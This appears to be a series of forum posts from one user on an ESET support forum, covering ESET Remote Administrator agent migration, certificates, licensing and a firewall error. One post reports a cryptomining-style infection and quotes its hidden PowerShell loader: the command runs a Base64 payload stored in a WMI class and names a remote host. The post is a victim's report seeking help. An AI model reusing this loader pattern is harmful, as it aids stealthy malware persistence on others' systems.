Marco2526

Good day I have recently reinstalled the ESET remote administrator on a new server. I have begun pointing the current ERA Agents to the new server as the the old server no longer exists. One of our servers refuses to accept the peer certificate, I get the below message: All our other servers accept the certificates with no issues, I have tried uninstalling the Agent, generating new certificates and it refuses to accept it. I am unable to monitor this server via the ERA, is there perhaps anything else I can try? Thanks

Thanks Marcos I am struggling to find the information on how to do this? The previous link provided by Michal doesn't seem to have this information or I might be a tad blind.

Well that's great... I have just finished this project now and all our ESET clients are no longer pointing to the correct server. So I am assuming that I will need to remove the clients software manually?

Hi Michal Thanks for the reply. I have checked as per your request, this is what I see: There is definitely something configured here, obviously our ESET server, however I am unable to configure anything within it. I also followed the instructions as per the article suggested, unfortunately the same problem persists. I see you mentioned we will need to remove the old policies from the clients, how does one go about doing that?

How does one implement the supported methods? As we have GPO in place however not SCCM. We do have SCCM planned but it will not be implemented anytime soosn. Is there perhaps instructions somewhere where I can do this? No I haven't performed an upgrade, is there perhaps documentation on that? PS: I am the junior (I don't have the greatest knowledge) at my company and was given this to rectify, unfortunately no one here knows how it works, so I have been trying to figure out. I have fiddled with the admin console quite a bit but there are a lot of settings which I am unsure of.

We had a server that the ESET Administration software was installed on. There was recently a critical issue on it, theVM needed to be rebuilt, we used the existing vhd drives the VM used previously therefore nothing was changed (Server FQDN and IP address remain the same) I am now having a problem where I am unable to activate the ESET endpoint security software (new installed versions and already existing ESET installations) , it either hangs on the product activation screen or fail (Error code: ECP.4098) such as below: What could be the problem?

Let me explain our current situation: We previously had a server set up solely for ESET, there were problems with it which led to the server crashing and we lost the era_db and nothing was recoverable. We had many computers and servers with ESET installed that have now deactivated themselves, I am assuming due to the server being down ESET deactivated itself . Starting from scratch we had rebuild the server (we used a new IP address and name as the previous details were now being used for another server). This left the ESET administrator agents pointing to a server that no longer existed. We rebuilt a new server for ESET and the Admin Console. With regards to the already existing ESET Endpoint Security software on client machines, I have been doing it manually by uninstalling the remote agent or repairing the agent with the new certificates in order for it to point to the correct server however we are a company of 200+ users and this has proven to be a mammoth task as I am the only one doing it. Plus doing it manually requires me to go to the client machine, log into the local administrator profile and adjust the software, sometimes it fails due to the services running and I then have to disable the services, restart the machine and repair or reinstall the software depending on the situation. With 200+ users this will take a incredibly as I am doing it on my own and the current way of doing ridiculously long. Is there a way to remotely deploy ESET and it's agent or to reconfigure the agent remotely without having to manually add the certificates yourself to have ESET update? I will appreciate any feedback highly as this taking up so much time.

Hi Marcos All of our servers are VMs. Most of our servers are VMs and most of them have one network adapter. Thus there is no way the MAC address could have changed. Kind regards

Good day A few of our servers keep deactivating their ESET licenses thus the UI reads the product is not active. It can happen multiple times to the same server. Yet when I got to ela web page I can see the machine is yellow. Reactivating it will use another license and after a while it will deactivate again. These seems to happen on our client machines as well. This is quite worry some as it is happening all over our environment, some work with no issues other hang, after a restart the same problem persists. This is becoming critical as our some of most crucial server become vulnerable at random intervals . Kind regards

Good day all The employee responsible for managing ESET at our establishment has left our company and I have logged onto the ESET administrator console is a complete mess. Furthermore we have a small dedicated server for the ESET administrator console but the server was rebuilt a few months back due to OS corruption and was not backed up thus some of the variables have changed. Some of our ESET Agents on our client machines are still pointing to the old server details thus they are not showing up on the Administrative console. We are now in a position that half of our client machines have the ESET remote agents with the incorrect management/console server details, a large number of them are not activated and some machines with no ESET installed at all. A few computers have been decommissioned yet their ESET licenses were never removed or stopped thus we have licensed machines that no longer exist. As you can tell this has been neglected for a while and I would like to have this rectified. The reason why I decided to post here is that I have basic knowledge on the ESET Administrator Console, I know this console is incredibly power and I would like to use it to it's full potential. In the meanwhile, I will be renaming all our machines to a new naming convention as our current one does not makes it difficult to point out which machine is the affect one. Is there way to get all the old agents to point to the new management server? I have recreated the certificates to manually point the remote agents to the newer management server however we have many users and doing this manually will take a large amount of time. Is there a way to remotely deploy ESET on PC that does not have ESET? Is there a way to tell which old decommed computers still have a license? Are there any other useful functions that may assist with the above mentioned? Kind regards

Thanks for the information I will definitely look into this.

Hi itman Yes but few and far between. No we are not using AppContianer. Hi James Apologies for the delay, was working hard to squash this malware. I would like to send you a huge thanks. It seems your scripts have worked. A lot of our server VM's had the EternalBlue exploit thus the malware spread rapidly. All our VM's have been patched and the script has been cleared off our environment, everything appears to have stabilized. I will continue to monitor the situation to ensure nothing rears it's ugly head again. Unfortunately we are unable to close port 3389 as we provide a service to our clients that require the RDP to our terminal servers. We have to consider an alternative in the near future to prevent this from happening again, Again thank you very much for your help!!! Kind regards

I will give this a shot. Thanks for the tip.

Hi James Files have successfully uploaded. I feel more comfortable with the a secure location to share the files. Let me know if you require anything else from my side. Appreciate the help! EDIT: We have already contacted a security specialist who has taken a copy of one of our VM's and will be running a few tests in his lab. I would prefer that we leave no stone unturned.

Hi JamesR Thank you very much for your response to the matter. I completed the aforementioned as per your request. Unfortunately I am unable to upload the file on this forum as it states that .7z is not an accepted format. It only accepts .rar, may I use winrar? Kind regards

Good day Everyone We are currently experiencing an issue where a powershell script is running on a couple of our VM's. This script is causing havoc on our servers as it is using 100% of the CPU rendering it slow and non responsive. We have created a new VM to test however the Powershell script immediately attacks the new machine as soon as we bring it up. We do have ESET, which is active and up to date however it did not pick up anything before and after the script's dubious activity. When viewing the PowerShell command in Task manager it brings up the following: -NoP -Nonl -W Hidden "$mon = ([WmiClass] 'root\default:Win32_TaskService').properties['mon'].Value;$funs = ([WmiClass] 'root\default:Win32_taskService').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.Getstring([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void',0,",")" We have softened the impact of this script by setting the priority to low and changed the affinity to 1 core via Task Manager however this script continues to run, we also checked the account that it is running on and we can see that it is running on the local system account, at first it was executed by our admin accounts. I did use ProcessExplorer to get more information on it. According to ProcessExplorer I was able to determine a remote address ns3265193.ip-37-59-52eu:http and the state is connection established as per the below screen shot. I also used to ProcessExplorer to generate a bit more information on the script: I wrote the following Powershell script to see what properties the script is looking for: ([WmiClass] 'root\default:Win32_taskService').Properties['funs'].Value This gave me the results in Base64 which I have decrypted and attached to this post. I am not the most code savvy person therefore I am not 100% sure what this script is doing. I do fear that this is something more serious as it hit us exactly two weeks ago and is really affecting our servers due to the CPU usage. As mentioned before we have lowered the impact on our servers however this threat is very much alive and is constantly running in our environment. If you need anything else from me feel free to ask and I will get it to you ASAP. Kind regards Decrypted.txt

Hi Marcos I think there may have been a bit of confusion with the remote administrator console. We initially had problems installing ESET on the machine however our third attempt was successful. Which seemed to have confused the remote administrator as the workstation experiencing the aforementioned problems was repeated three times on the remote administrator. 1 reported no problems and the other 2 were reporting that the firewall was no problem. So it seems like the remote administrator though it was 3 computers were the same name and the other two reporting the firewall not functional was the previous unsuccessful attempts. Thanks you for your response on the matter but we have finally figured the issue.

Hello Experiencing a bit of an issue here. As per the .jpeg below the ESET remote administrator states that one of our computer's firewall is not fuctional: So I though I would google the issue but I see most users experiencing this issue do not have the ESET personal firewall in their LAN Properties as per below: I have tried to reinstall and the same problem still persists. I have followed the below however I can't seem to come right as the firewall refuses to return to a functioning state and have run out of ideas.